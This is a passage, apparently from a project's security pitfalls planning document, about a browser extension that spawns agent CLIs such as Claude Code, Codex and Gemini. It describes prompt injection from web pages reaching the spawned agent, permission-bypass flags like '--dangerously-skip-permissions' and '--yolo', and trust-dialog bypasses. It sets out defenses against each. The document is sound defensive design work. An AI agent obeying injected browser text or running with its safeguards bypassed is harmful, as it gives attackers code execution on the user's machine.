"prompt" as opaque text and hand it to the CLI as-is. But every agent CLI's process model is: (prompt + tool results + file contents) → LLM → tool calls. The moment the daemon executes `claude -p `, every downstream trust boundary in the CLI is being asked to defend against attacker-supplied text that arrived from a browser. + +**How to avoid:** +1. **Extension is the ONLY origin of the delegation request.** Never accept a spawn request whose prompt came from an external page (side panel is the single canonical origin). The bridge already rejects untrusted browser origins for MCP — the delegation channel must apply the same rule. +2. **Strict argv construction.** No shell interpolation; use `execFile`/`spawn` with an argv array, never `sh -c`. Cite: CVE-2025-54795 was command-injection through whitelisted commands — never build the argv by concatenating strings. +3. **Fix the flag set daemon-side, not client-side.** The daemon supplies `--strict-mcp-config`, agent-definition path, permission mode, and cwd; the extension provides ONLY the prompt string and adapter selector. If any flag can be overridden by the reverse-request payload, treat it as a control-plane input and reject unknown keys. +4. **Ship the `fsb` agent definition instead of prompt-stuffing.** The Key Context in PROJECT.md already commits to this — enforce it: user prompt goes to `--append-system-prompt` or `-p` positional, never into `--system-prompt` or `--mcp-config`. +5. **Consent tiers.** First delegation to a given CLI must be explicit-user-approve (control-panel toggle). Subsequent runs in the same session can be silent. Explicit warning language ("This will spawn Claude Code on your machine with permission to control this browser"). +6. **Log-only prompt review.** Persist every prompt sent to a CLI in a ring buffer (redacted for secrets); surface it in a "recent delegations" list. Post-facto audit is the last line of defense. + +**Warning signs:** +- The delegation payload accepts arbitrary CLI flags from the wire. +- Any string is passed to a shell (`sh -c`, `bash -c`, `cmd /c`). +- The extension side-panel prompt input is not distinguishable from a prompt injected via a content-script message or an external page. +- No storage of executed prompts for post-hoc audit. + +**Phase to address:** +Phase 60 (channel design) for the argv/flag-fix, Phase 61 (adapter contract) for the "no external-page origins" rule, Phase 62 (UX consent) for the first-time approval tier. This pitfall spans multiple phases because it is a defense-in-depth problem; do NOT let any of the three slip. + +--- + +### Pitfall 4: Auto-approve / `--dangerously-skip-permissions` as a default or convenience option + +**What goes wrong:** +"MVP should just work" pressure leads to shipping `--dangerously-skip-permissions` (Claude Code), `--yolo` (Gemini CLI), or `--full-auto` (Codex `exec` with auto-approval) as the default or as a one-click toggle. The moment that flag is on, any prompt injection (Pitfall 3), any CSWSH (Pitfall 1), any rebinding (Pitfall 2), or any repository-trust bypass (TrustFall) becomes silent RCE with the user's full shell privileges. + +The `--dangerously-skip-permissions` name was chosen by Anthropic literally because "it's exactly what happens." Vendors classify it as user's-informed-consent territory — meaning your product, not theirs, is on the hook if you ship it as a convenience default. + +**Why it happens:** +Confirmation prompts hurt demo videos. Product wants "one click and it goes." Engineering knows the safe path is annoying. The `--yolo` name in Gemini CLI ships for the same reason. Then TrustFall (May 2026) proved every agent CLI's trust dialog can be bypassed by malicious project settings, meaning even the vendor's own confirmation UI is not always reliable. + +**How to avoid:** +1. **Never expose `--dangerously-skip-permissions` or equivalent through FSB's spawn payload.** The daemon controls the flag set; the reverse-request channel cannot request it. This must be a permanent invariant, not an "MVP posture we relax later." +2. **Default to Claude Code's `--permission-mode strict` or the equivalent tightest mode.** Every subsequent tool call inside the CLI goes back through user consent — either via the CLI's own dialog OR (better) via FSB's own MCP consent surface. +3. **Route permission prompts back to the side panel.** When the spawned CLI asks "run rm -rf?", the CLI's dialog must be captured (via `--permission-prompt-tool` or the ACP equivalent) and reflected in FSB's UI, not answered by the daemon. FSB owns the yes/no because FSB owns the human. +4. **Explicit "advanced" mode gate.** If a user genuinely wants a looser posture, require a control-panel checkbox that names the specific risk ("This lets the agent modify files without asking. Attackers who reach this channel can run arbitrary code."). Do not name the toggle "Fast mode." + +**Warning signs:** +- Any code that has a boolean like `autoApprove: true` in the adapter contract. +- Any UI copy that describes bypass as "faster" or "smoother" without naming the risk. +- Any test that requires bypass to be on for the flow to succeed. If your happy path needs bypass, your happy path is broken. + +**Phase to address:** +Phase 60 (adapter contract locks the flag set) + Phase 62 (UX explicitly denies the "make it fast" toggle). Add a lint or test that grep-fails the build if `--dangerously-skip-permissions` appears anywhere in the daemon spawn path outside a marked "advanced-mode" branch. + +--- + +### Pitfall 5: Weak / leaked shared secret between extension and daemon + +**What goes wrong:** +The extension→daemon shared secret leaks via any of: `chrome.storage.local` (readable by other extensions with the right permission and by any process that reads the profile directory), diagnostic logs (redaction gap), the URL query string of a WebSocket handshake (logged by proxies and by some OS-level packet capture), or a static config file the daemon reads with world-readable permissions. Anything with the secret can spawn arbitrary CLIs as the user. + +**Why it happens:** +It is easy to write `?token=abc123` in the WS URL. It is easy to `console.log(token)` while debugging. It is easy to store the secret in `chrome.storage.local` and forget that `chrome.storage.local` is NOT the same trust boundary as macOS Keychain. + +**How to avoid:** +1. **Per-install random token (>=32 bytes, `crypto.randomUUID()` at minimum, prefer `getRandomValues(new Uint8Array(32))`).** +2. **Rotate on daemon restart.** The extension picks up the new token via a small pairing handshake gated by (a) the daemon writing a file under the user's home directory with mode 0600 that the extension reads via a native manifest, or (b) a one-time pairing code the user copies from `fsb-mcp-server pair`. +3. **Send in `Sec-WebSocket-Protocol` (never the URL).** URL query strings show up in access logs, DevTools waterfalls, and proxy captures. `Sec-WebSocket-Protocol` is a first-class handshake header. +4. **Redaction bar covers the token.** Extend the existing `redactForLog` helper (from v0.9.45rc1 Phase 211) to strip `token=...` and `Sec-WebSocket-Protocol: fsb-...` patterns. +5. **Do NOT make the token the only defense.** Origin allowlist (Pitfall 1) is still primary. If the token leaks (it will eventually), the Origin check must still block attacker pages. + +**Warning signs:** +- Token appears in any `console.log` or diagnostic ring buffer entry. +- Token stored in `chrome.storage.sync` (syncs across devices — huge leak surface). +- File-based token has mode > 0600. +- Rotation policy is "never" or "on Chrome restart" (which almost never happens). + +**Phase to address:** +Phase 60 (channel design + secret contract). The rotation UX ships with Phase 62. + +--- + +### Pitfall 6: Zombie/orphaned child processes on cancel or crash (especially on Windows) + +**What goes wrong:** +User clicks "Cancel". Daemon calls `child.kill()`. On POSIX, that sends SIGTERM to the parent CLI process — but Claude Code / Codex / Gemini CLI often spawn sub-processes (git, ripgrep, MCP servers, editors). The signal does not propagate to the tree. Sub-processes keep running, keep charging tokens, and if any of them held a `chrome.debugger` attachment or a browser session, they keep manipulating the browser after the user thought they cancelled. On Windows, POSIX signals do not exist at all — the `kill()` call is essentially always SIGKILL and does not walk the tree. + +Evidence: **Auto-Claude issue #1252** ("Process cleanup broken - zombie processes accumulate after app close") documents this exact class on Windows. The Node.js docs state explicitly: "On Windows... signal argument will be ignored except for 'SIGKILL', 'SIGTERM', 'SIGINT' and 'SIGQUIT', and the process will always be killed forcefully." Multiple community write-ups document that `child_process.kill()` on Linux does not kill grandchildren. + +**Why it happens:** +Node's `child.kill()` API is deceptively simple. Developers assume the platform does tree-kill. It does not. Also, `wait/waitpid` is not exposed to Node scripts, so zombies (dead-but-unreaped children) accumulate silently. + +**How to avoid:** +1. **Spawn detached with a new process group.** POSIX: `spawn(cmd, args, { detached: true })` then `process.kill(-child.pid, 'SIGTERM')` (negative PID = kill the group). Give a graceful window (5 s) then `SIGKILL -child.pid`. +2. **Windows: use `taskkill /pid /T /F`.** `/T` = tree, `/F` = force. This is the only reliable tree kill on Windows. +3. **Cross-platform: use a well-tested library.** `tree-kill` npm package handles both. Verify it is maintained (last audit in v0.9.30 covered `chrome.tabs` — do a fresh look here). +4. **Watchdog for orphans.** On daemon startup, scan the process tree for any `claude`/`codex`/`gemini` process whose parent is init/1 and whose command line contains an FSB-tagged env var (`FSB_DELEGATION_ID=...`). Kill it. This prevents accumulation after daemon crashes. +5. **Reap on exit.** Register `child.on('exit', ...)` to `waitpid` implicitly (Node's default) — but log exits so accumulating zombies get diagnosed. +6. **Handle `child.on('error')`.** Every spawn can fail (ENOENT, EPERM); missing error handlers leave dangling promises the UI never resolves. + +**Warning signs:** +- Any `child.kill()` without a `{ detached: true }` spawn and negative-PID kill. +- No Windows-specific `taskkill /T` branch. +- No orphan scan on daemon startup. +- User reports of "Claude Code kept running after I cancelled" or unexplained token burn. + +**Phase to address:** +Phase 61 (adapter contract defines kill semantics per adapter). This is a "shipped-wrong-once, sits in the wild forever" pitfall — get it right first time. + +--- + +### Pitfall 7: Stdout backpressure on stream-json output deadlocks the CLI + +**What goes wrong:** +Claude Code's `--output-format stream-json` and Codex's `--json` both emit newline-delimited JSON at the rate the model produces tokens (fast — thousands of lines per minute for a chatty run). The daemon reads `child.stdout`. If the daemon does NOT drain the stdout stream fast enough (or holds it while awaiting an async op), the kernel pipe buffer fills, `write()` in the child blocks, and the CLI deadlocks with the model half-through a turn. The stall looks like "Claude is thinking" to the user, but the CLI is not — it is blocked on write. + +Node.js streams do this correctly IFF you use `pipe()` or `pipeline()`, but if you use manual `stdout.on('data', ...)` and do async work in the handler without pausing/resuming, you WILL leak or deadlock. From the Node docs: "When a false value is returned, the backpressure system kicks in. It will pause the incoming Readable stream from sending any data..." + +**Why it happens:** +Developers treat stdout like "just a stream of text" and forget it is a real OS pipe with a real 64 KB buffer. + +**How to avoid:** +1. **Use `readline.createInterface({ input: child.stdout })` for line-by-line JSONL parsing.** Do not accumulate the raw buffer in memory. +2. **Emit every parsed event immediately to the extension via the existing bridge; do not await downstream work in the parse callback.** If you must, buffer to a bounded in-memory queue with backpressure. +3. **Cap the queue.** If the extension side stops reading (side panel closed), the queue must either drop-with-notice or apply backpressure back to the CLI via `child.stdout.pause()`. +4. **Route stderr separately.** Codex sends progress to stderr, final message to stdout. Do not merge streams; each has its own backpressure. +5. **Log the read rate.** If stdout emission suddenly drops for >10 s but the child is still alive, that is either the model hanging OR a backpressure deadlock — surface as a diagnostic. + +**Warning signs:** +- Manual `Buffer.concat(chunks)` accumulation in the stdout handler. +- Any `await someLongOp()` inside the `data` event handler. +- User reports of "Claude gets stuck at the same step every time." + +**Phase to address:** +Phase 61 (adapter contract). The base adapter should expose a `stream()` async iterator; individual adapters (Claude/Codex/Gemini) fill in the parse rules. + +--- + +### Pitfall 8: Daemon crashes mid-run and the spawned CLI keeps controlling the browser + +**What goes wrong:** +Daemon process dies (OOM, uncaught exception, SIGSEGV in a native module). The spawned `claude -p` process was NOT parented under a process group the OS will reap; it becomes a zombie with `init` as its new parent. Its MCP client still holds a WebSocket to the extension (which auto-reconnects). It keeps executing tool calls the user cannot see because the side panel lost its progress stream when the daemon died. The browser gets clicked at, the user is confused. + +**Why it happens:** +`{ detached: true }` for tree-kill (Pitfall 6) creates exactly this failure mode if it is not paired with a parent-liveness protocol. + +**How to avoid:** +1. **Extension-side heartbeat.** Every N seconds, extension pings the daemon; if 3 pings missed, extension terminates all agent-owned tabs' MCP sessions and marks agents as `daemon:disconnected`. Existing v0.9.60 agent-cap and connection-id reconnect grace patterns extend cleanly. +2. **Spawned CLI must exit if its MCP transport dies.** For CLIs that connect to FSB's MCP as a client (they do), the transport disconnection should terminate the CLI. Verify per adapter: Claude Code exits when MCP dies? Codex? Gemini? Document per-adapter behavior in the adapter contract. +3. **Daemon restart handshake.** On restart, daemon lists live child processes via the FSB env-var scan (Pitfall 6 #4) and either adopts them (rejoin) or kills them. Do NOT default to adopt — a resurfaced daemon with a stale token is exactly the CSWSH scenario in Pitfall 1. +4. **Side-panel graceful "daemon offline → doctor" state.** PROJECT.md already commits to this in "Key context" — enforce that Phase 62 ships it before the delegation MVP claims ready. + +**Warning signs:** +- No daemon-liveness heartbeat. +- CLI processes survive daemon exit and continue reaching the extension via MCP. +- Doctor state is a spinner instead of an actionable "Restart daemon: `npx -y fsb-mcp-server serve`" step. + +**Phase to address:** +Phase 62 (daemon lifecycle + doctor handoff). Add a test that spawns a fake CLI, kills the daemon, and asserts the extension sees the outage within 10 s. + +--- + +### Pitfall 9: Agent CLI stdout/flag/schema drift between versions + +**What goes wrong:** +Claude Code ships a new version that renames `--output-format stream-json` → `--stream=json`, or Codex renames event fields (`item.type` → `item.kind`). FSB delegation instantly breaks silently: the CLI runs, but the daemon does not recognize any events, the side panel shows nothing, the user sees "Claude is thinking" forever. Alternatively: the CLI's JSONL schema adds a new event type FSB does not handle, and FSB either crashes on `undefined` fields or shows garbled state. + +Evidence: the Claude Code `stream-json` format is documented as evolving (open GitHub issues #24594 and #24612 in 2026 asking Anthropic to actually document the schema); users report `--continue` silently creating a new session in non-interactive `-p` mode (see Pitfall 12); Anthropic paused a June 15 billing change for `claude -p` after the ecosystem reacted, showing the CLI surface is under active behavior churn. + +**Why it happens:** +Agent CLIs are moving faster than any documented contract. FSB does not own them. + +**How to avoid:** +1. **Adapter version detection.** Every adapter runs ` --version` on selection and records the version in the agent-provider metadata. Ship a compatibility matrix per adapter (e.g., "Claude Code ≥ 2.1 confirmed; 1.x unsupported"). +2. **Fail loudly on unknown events.** Parse every JSONL line; if `event.type` is not in the known set, log with the raw line, DO NOT drop silently. Surface as `agent_protocol_drift` in the diagnostics ring buffer. +3. **Schema smoke on adapter update.** CI job runs each adapter against a canned "print hello and exit" prompt, asserts a known event sequence. Detects drift on every new adapter release. +4. **Doctor exposes the version.** `fsb-mcp-server doctor` shows adapter versions so users can report mismatches. +5. **Adapter contract makes parse errors non-fatal to the run.** An unknown event should not kill the CLI — just annotate the progress stream "1 event not understood." + +**Warning signs:** +- Adapter code references specific event field names without a schema version guard. +- Any `switch (event.type) { case 'x': ...; }` without a `default: log unknown`. +- User bug reports of "delegation used to work, broke after I updated Claude Code." + +**Phase to address:** +Phase 61 (adapter contract MUST embed version + compatibility). Phase 63 (CI drift-smoke gate) — this deserves its own phase because the drift will keep happening across the milestone's life. + +--- + +### Pitfall 10: MV3 service worker eviction during a long delegated run kills the extension side of the pipeline + +**What goes wrong:** +User kicks off a 45-minute delegation task. Chrome's MV3 service worker terminates after **30 seconds of inactivity** and after **5 minutes on any single event**. The spawned CLI is still running fine in the daemon; the daemon's MCP link auto-reconnects when the SW respawns; but every SW respawn drops in-memory state (running delegation → agent-id mapping, progress buffer, side-panel channel), and the user's side panel goes blank or worse — the side panel shows a stale state that does not match what the CLI is actually doing. + +Chrome docs: "The service worker terminates after 30 seconds of inactivity" and "The service worker terminates if a single request... takes longer than 5 minutes to process." WebSocket messages reset the idle timer (Chrome 116+), which helps IF the delegation heartbeats fast enough — but if the model pauses for 60 s on a hard step, the SW dies mid-run. + +**Why it happens:** +MV3 was designed for reactive, short-lived event handlers. Delegated runs are neither. + +**How to avoid:** +1. **Persist delegation state in `chrome.storage.session`** (v0.9.36's visual-session pattern already does this; extend the same discipline). Every progress event → write. On SW respawn → read. +2. **Heartbeat WebSocket every 20 s from the daemon side.** Even if the CLI is silent, send a `keep_alive` frame. This resets the SW's 30 s idle timer. +3. **Load-bearing pattern from v0.10.0 INV-04:** the `setTimeout`-chained iterator survives SW eviction. Extend that pattern to the delegation supervisor — write state before each await, resume from persisted state on wake. +4. **Do NOT rely on offscreen documents for WebSocket.** Chrome does not officially support WebSocket in offscreen documents (per the Chrome team). The offscreen doc pattern is for audio and DOM parsing, not for network keepalive. +5. **Alarm-based backup.** `chrome.alarms.create('fsb-delegation-heartbeat', { periodInMinutes: 0.5 })` fires even if idle; use to poll persisted state. +6. **Warn the user for very long runs.** If a delegation crosses 5 min, show "Long run in progress — do not close the browser." + +**Warning signs:** +- Any in-memory Map in the SW that holds delegation state. +- No `chrome.storage.session` write after each progress event. +- Test suite lacks a "kill SW mid-delegation, respawn, assert state recovery" case. + +**Phase to address:** +Phase 62 (SW lifecycle + persistence for delegated runs). Verify the v0.9.24 `setTimeout`-iterator pattern was preserved through v0.10.0 Lattice integration — INV-04 is load-bearing here. + +--- + +### Pitfall 11: Source-pin tripwire tests break the moment the extension gets wired to delegation + +**What goes wrong:** +FSB's test suite pins **exact token counts and exact substrings** in extension source files (e.g., `extension/background.js`). Even a comment change breaks tests. The v0.9.91 milestone REQUIRES adding delegation wiring to `background.js`, `ui/onboarding.js`, `ui/control_panel.html`, and `engine-config.js` (fifth EXECUTION_MODES entry). Any edit will trip the pin unless the test is updated in the same commit. The auto-memory note is explicit: "even comments (e.g. the word 'importScripts' in background.js) break the suite." + +**Why it happens:** +Tripwires were added to catch accidental deletions/regressions. They cannot distinguish accidental from intentional. + +**How to avoid:** +1. **Run the full test suite from commit 1 of the milestone.** PROJECT.md Key Context already commits to this — enforce it (CI gate on every PR). +2. **Every extension-source edit must include a paired tripwire update in the same commit.** Grep the test suite for the file being edited BEFORE editing; enumerate pinned substrings/counts; plan the updates. +3. **New symbols in `background.js` must have their tripwire seeded from the first commit** (initial token-count pin, initial substring assertion). Do not "add later" or the diff over the milestone becomes untraceable. +4. **The delegation dispatcher must integrate through `fsbDispatchInternalMessage` (background.js:8731)** — do NOT use `chrome.runtime.sendMessage` for same-SW-context dispatch. Auto-memory: "sendMessage never loops back in-SW." Same-context dispatch pattern was chosen deliberately in the Phase 225-01 bus. + +**Warning signs:** +- CI red on the first extension-wiring commit with a "token count mismatch" or "substring not found" error. +- Any use of `chrome.runtime.sendMessage` from background code to another background handler. +- New extension source without a corresponding new tripwire. + +**Phase to address:** +Every phase that touches extension source. Add a milestone-level gate in Phase 57 (requirements definition) that says "no extension-side phase can merge if the tripwire suite is red." + +--- + +### Pitfall 12: Chat-thread vs one-shot mismatch (`--resume` vs `-p` semantics) + +**What goes wrong:** +User expects delegation to be a conversation — they type a follow-up, agent picks up where it left off. FSB naively uses `claude -p ` each time. Each call is a fresh session; the agent has no memory of the previous turn. Alternatively: user thinks the same "conversation" is running in parallel across two side-panel starts; actually two sessions collide. + +Documented Claude Code footgun: **"In non-interactive mode with `-p`, `--continue` can silently create a new session rather than resuming the existing one."** Scripts that rely on `--continue` for stateful pipeline work fail silently. Explicit `--resume ` is the only reliable mode. + +**Why it happens:** +`-p` (print-and-exit) and `--resume` are two different execution models; the CLIs make it too easy to invoke `-p` without realizing chat continuity is off. + +**How to avoid:** +1. **Adapter contract has explicit `mode: 'task' | 'chat'`.** `task` = fresh session, one-shot; `chat` = session_id must be provided. +2. **FSB persists `session_id` per (side panel, adapter).** On follow-up, pass `--resume `. On new task, mint a new session. +3. **Explicit UI affordance.** Side panel shows "Start new task" vs "Continue this conversation" with clear resume behavior. +4. **Per-adapter capabilities matrix.** Claude Code: `--resume` supported, `--continue` unreliable in `-p`. Codex `exec`: turn-based, no persistent session (yet). Gemini CLI: TBD, verify per version. Adapters must expose `caps.chatMode: boolean`. + +**Warning signs:** +- Same-session follow-ups produce agent responses like "I don't have context on your previous request." +- Two concurrent side-panel runs overwrite each other's session state. +- No `session_id` recorded in persisted delegation state. + +**Phase to address:** +Phase 61 (adapter contract) defines the two modes. Phase 62 (UX) ships the affordance. + +--- + +### Pitfall 13: Cold-start latency shocks the user + +**What goes wrong:** +User clicks "Delegate to Claude Code". Side panel spinner runs for 3-8 seconds while: (a) the daemon spawns `node` (~150-300 ms cold), (b) the CLI initializes (`claude` reads config, loads MCP servers, warms cache — 1-3 s), (c) the first LLM turn returns (2-5 s depending on model). User assumes it hung; clicks again. Now there are two delegated runs on the same tab (Pitfall 15). + +Node.js cold start alone is 150-300 ms per credible sources; the agent CLI stack on top of that pushes total to 3-8 s realistically for the first invocation. + +**Why it happens:** +Every delegation launches a fresh CLI subprocess. There is no warm pool. First-turn latency compounds Node init + CLI init + LLM first token. + +**How to avoid:** +1. **Optimistic UI.** Show "Starting Claude Code…" with progress step names (spawning → initializing → sending first prompt) so the user knows work is happening. +2. **Idempotent "Delegate" button.** Debounce and disable the button while a spawn is in flight. Multiple clicks CANNOT produce multiple spawns. +3. **Warm daemon.** The daemon can pre-fork the Node process pool or keep one CLI warm per selected adapter (memory tradeoff). For MVP: SKIP warm-pool; instead, focus on honest UX (step names). +4. **Cache the "installed clients" detection.** Don't re-scan disk (`platforms.ts` per-OS paths) on every side-panel open — this cost accumulates. +5. **Manage user expectations in copy.** The side panel button should read "Delegate (may take a few seconds to start)" rather than "Run" which implies immediacy. + +**Warning signs:** +- User double-clicks producing two parallel spawns. +- No progress state between "click" and "first agent output". +- Detection scan running on every side-panel focus event. + +**Phase to address:** +Phase 62 (delegation UX). Warm pool is deferred beyond MVP — do NOT add it in v0.9.91. + +--- + +### Pitfall 14: Cost surprises on subscription vs API billing + +**What goes wrong:** +User is on Claude Pro subscription, thinks delegated runs are "free" from their perspective. Reality (as of 2026): Anthropic **announced** on May 14, 2026 that programmatic `claude -p` and Agent SDK usage would be metered separately at API rates, then **paused** the change on June 15, 2026, promising advance notice before any future implementation. So the billing model is currently unchanged but explicitly uncertain. Meanwhile OpenAI Codex, Gemini CLI, and third-party CLIs each have their own subscription/API split that FSB does not control. + +Compounded risk: a runaway agent (Pitfall 3, Pitfall 4) can burn through a subscription's request quota OR blow API credits in minutes. Reported industry norm: "A runaway agent or a bad prompt can burn through credit fast and then either stop your pipeline or quietly start garnering extra usage." + +**Why it happens:** +FSB has no visibility into the CLI's billing model; the CLI has no visibility into FSB's intent. + +**How to avoid:** +1. **Per-adapter billing disclosure in the Providers panel.** For each agent provider, show a one-liner: "Claude Code: uses your Claude subscription today; Anthropic has announced future changes — check status." Link to the vendor's current billing docs. +2. **Session-level token/turn ceiling.** The delegation payload includes a max-turns cap (e.g., 50 turns default). Adapter passes to the CLI where supported (Claude Code: `--max-turns`; Codex `exec`: turn count limit). If unsupported, FSB kills the CLI at the cap. +3. **Live token estimate in side panel.** The v0.9.69 telemetry pipeline already models per-MCP-client token/cost per turn — reuse for delegation. Show cumulative estimate, not just a raw count. +4. **Warn on billing model changes.** If a new Anthropic pricing announcement lands during the milestone (or any adapter's), Providers panel copy MUST reflect the new state within the release cycle. Do NOT hardcode "free with your subscription" language. +5. **Post-run cost summary.** Every delegated run ends with a card summarizing turns / tokens / estimated cost. + +**Warning signs:** +- Copy that says "unlimited" or "free" for any adapter. +- No max-turn cap in the spawn payload. +- No post-run cost summary. + +**Phase to address:** +Phase 62 (UX). Reuse v0.9.69 telemetry primitives. + +--- + +### Pitfall 15: The spawned agent and the user fight over the same browser tab + +**What goes wrong:** +User delegates "Buy this hoodie". Claude Code starts driving the browser via FSB's MCP. User simultaneously scrolls the same tab, opens a dev tool, or clicks a link. Now: +- Agent's `read_page` returns a snapshot from an in-between state; agent decides "the button is at coord (400, 300)"; user has scrolled; agent's `cdp_click_at` clicks a completely wrong element. +- User clicks "Add to cart"; agent's next tool call is `read_page`; agent sees the cart page, gets confused, tries to navigate back. +- Focus-steal on tab switch collides with the agent's next `switch_tab` call. + +Cursor and OpenClaw report this exact bug class. Browser-Use has multiple issues on parent/sub-agent tab conflict. + +**Why it happens:** +v0.9.60 already solved multi-agent-per-tab collision via tab ownership. But the ORIGINAL user is not an agent with a tokenized owner — they own the browser physically. There is no code-side lock the user can respect. + +**How to avoid:** +1. **Delegation UI explicitly asks: "Let Claude drive this tab, or open a new tab?"** Default: new tab. If new tab, `open_tab` (background) claims ownership for the delegated agent. Original tab stays with the user. +2. **When the user MUST watch (checkout, form fills), show a full-tab banner: "Claude Code is driving this tab. Take control?"** Clicking "Take control" pauses the agent and yields ownership. Existing v0.9.24 partial-outcome + auth-wall handoff patterns provide the receipt. +3. **Change-report reconciliation.** v0.9.60's post-action `change_report` already reports URL/DOM delta between action and observation. Extend to detect "unexpected user input" (URL changed to something the agent did not navigate to → assume user grabbed the wheel, pause the agent). +4. **Explicit lock on interactive fields.** When the agent is typing into a form, install a click-guard overlay (v0.9.36 badge pattern). User click on the guard = "yield control?". +5. **NEVER auto-focus the delegated tab.** Background execution by default (v0.9.60 Phase 246 already commits to this for MCP-routed surfaces — extend to delegation). + +**Warning signs:** +- Any code path that steals focus on delegation start. +- No detection of user-initiated navigation during an agent turn. +- User reports "the agent broke because I scrolled." + +**Phase to address:** +Phase 62 (delegation UX). Reuse v0.9.60 ownership infrastructure; the delta is user-vs-agent, not agent-vs-agent. + +--- + +### Pitfall 16: Hub/relay bridge topology edge case — hub exits mid-run + +**What goes wrong:** +The existing bridge tests (`tests/mcp-bridge-topology.test.js`) verify multi-hub / multi-relay routing. Delegation adds a new node: the daemon spawns a CLI which connects back to FSB's MCP as its own client. If the hub (the daemon's MCP server) exits mid-run, the CLI's MCP transport drops. Depending on adapter behavior, the CLI either: +- Exits (best case; extension detects agent gone, user sees "agent offline"). +- Hangs forever waiting for MCP reconnection (worst case; user cancels, but the extension already lost visibility). +- Reconnects to a fresh hub instance that does not know about this agent's ownership state → cross-agent tab claim collision. + +INV-01 forbids changing any existing MCP wire contract. So delegation's new event types MUST be additive; a hub restart that revives with an older protocol version must degrade gracefully, not break the delegation. + +**Why it happens:** +The delegation topology is new; existing bridge tests do not cover the "CLI-as-MCP-client-of-FSB-daemon" case. + +**How to avoid:** +1. **CLI-as-client heartbeat.** The adapter contract requires each CLI to ping FSB's MCP server every 30 s (v0.9.60's connection_id + reconnect grace pattern applies here). Missed pings → daemon removes the agent's ownership; extension is notified. +2. **Hub restart re-registers agents from persisted state.** On daemon restart, the daemon reads persisted `(agent_id, connection_id, adapter)` and rejects incoming MCP connections that do not match. Prevents ghost-agent revival attacks. +3. **Additive event types only.** Every new bridge event for delegation (`delegation:start`, `delegation:progress`, `delegation:end`, etc.) uses new type strings; all existing types byte-stable. INV-01 gate covers this — extend the existing test that pins EXPECTED_NON_TRIGGER_REGISTRY_HASH to also pin the bridge event-type set. +4. **Topology test coverage.** Add cases for: hub exit during CLI init; hub exit during CLI turn; CLI exits before hub sees the completion; hub sees TWO CLIs claiming the same agent_id (only one wins). + +**Warning signs:** +- Any new bridge event that renames or reshapes an existing event. +- Any tool schema change on the CLI-facing MCP surface. +- Topology test suite lacks hub-restart-mid-delegation cases. + +**Phase to address:** +Phase 60 (channel design). Bridge topology tests extended in every subsequent phase that touches the wire. + +--- + +## Technical Debt Patterns + +Shortcuts that seem reasonable but create long-term problems. + +| Shortcut | Immediate Benefit | Long-term Cost | When Acceptable | +|----------|-------------------|----------------|-----------------| +| `--dangerously-skip-permissions` as default | "Just works" demo | RCE-adjacent (Pitfall 3, 4); every prompt-injection incident becomes RCE | **Never.** Not even in an "advanced mode." | +| URL-query shared secret (`?token=abc`) | Simple to code | Leaks via access logs, DevTools, packet captures | **Never.** Use `Sec-WebSocket-Protocol` header. | +| Skip Origin check "because we only bind localhost" | Removes handshake complexity | CSWSH (Pitfall 1), DNS rebind (Pitfall 2) | **Never.** Both are documented, exploited-in-the-wild attack vectors. | +| `child.kill()` without tree-kill | 1-line implementation | Zombies on Windows, orphaned grandchildren on POSIX (Pitfall 6) | Only in a shrink-wrapped Node script that spawns zero grandchildren. Delegation always violates this. | +| Manual `stdout.on('data')` buffer accumulation | Small code | Backpressure deadlock (Pitfall 7) on long runs | Only if the total output is guaranteed < 4 KB. | +| In-memory `Map` in SW | Fast reads | State loss on SW eviction (Pitfall 10) | Only for read-only caches that can rehydrate from storage. | +| Warm CLI pool | Reduces cold-start (Pitfall 13) | Memory footprint; RCE persistence horizon (killed daemon still has a warm attacker's CLI in memory) | Post-MVP. Do NOT add in v0.9.91. | +| "Auto-detect" clients from `clientInfo` without allowlist | Zero UX friction | Spoofing (v0.9.36 already used allowlisted labels for exactly this reason) | Only for observability/logging; NEVER for permission decisions. | +| Ship a native messaging host to bypass MV3 SW limits | Solves Pitfall 10 completely | Adds `nativeMessaging` permission (extension review risk); native binary distribution/signing burden per OS | Deferred option in PROJECT.md; do NOT ship in v0.9.91. | + +--- + +## Integration Gotchas + +Common mistakes when connecting to external services. + +| Integration | Common Mistake | Correct Approach | +|-------------|----------------|------------------| +| Claude Code CLI | Use `--continue` in `-p` mode expecting session resume | It silently creates a new session; use `--resume ` | +| Claude Code CLI | Pass user prompt via `--system-prompt` | Prompt injection surface; use `--append-system-prompt` or positional prompt | +| Claude Code CLI | Skip `--strict-mcp-config` | User's global MCP config bleeds into delegation; hermetic runs require it (PROJECT.md commits to this) | +| Codex CLI (`exec`) | Merge stdout and stderr | Progress is on stderr, final message on stdout — separate streams | +| Gemini CLI | Use `--yolo` in non-interactive | Bypasses trust; documented as the CVSS 10 vector | +| Gemini CLI | Trust workspace folder auto | GHSA-wpqr-6v78-jr5g — workspace trust auto-accepts in headless; force explicit `--no-trust-workspace` | +| Any agent CLI | Load user's home-dir agent definition | TrustFall vector; ship FSB's `fsb` agent definition explicitly | +| Any agent CLI | Assume `--version` output format | Not stable; parse defensively, log unknown formats | +| MCP handshake (`initialize`) | Treat `clientInfo.name` as authoritative | Trivially spoofable; use for observability only, gate permissions on the WS transport identity | +| MCP tools registration | Change existing tool schemas | Violates INV-01; all new delegation events must be new types | +| Chrome `chrome.storage.local` | Store the daemon shared secret | Readable by any process reading the profile; use a file with mode 0600 in `~/.fsb/` | +| WebSocket to localhost | Bind `0.0.0.0` | Reachable from LAN + Docker; bind `127.0.0.1` only | +| WebSocket to localhost | Accept any Origin | CSWSH; strict extension-ID allowlist | + +--- + +## Performance Traps + +Patterns that work at small scale but fail as usage grows. + +| Trap | Symptoms | Prevention | When It Breaks | +|------|----------|------------|----------------| +| SW keepalive via `chrome.runtime.getPlatformInfo()` every 20 s | Extra CPU, battery drain on laptops | Use WebSocket heartbeat (Chrome 116+ resets SW timer on WS messages) | Any user with the extension always-on | +| Stdout accumulation without drain | Silent CLI stalls after ~64 KB output | `readline` interface + immediate forwarding | Any run longer than a few thousand tokens | +| No detach on `spawn` | Kill leaves grandchildren running; CLI eats memory | `{ detached: true }` + group kill | Any run that spawns MCP sub-servers or shell tools (all of them) | +| Re-scan `platforms.ts` disk paths on every side-panel focus | Slow UI, disk IO | Cache with `chrome.storage.local` + invalidate on install-CLI events | Users with 20+ candidate clients installed | +| No max-turns cap | Runaway agent burns API credit / subscription requests | Enforce `--max-turns` cap in adapter | Any long/hard task; any prompt-injection incident | +| Ring buffer for progress events without eviction | Memory growth over long runs | Bounded queue (e.g., 1000 events) with drop-oldest | Any delegation > 20 min | +| Broadcasting every JSONL line to the side panel | 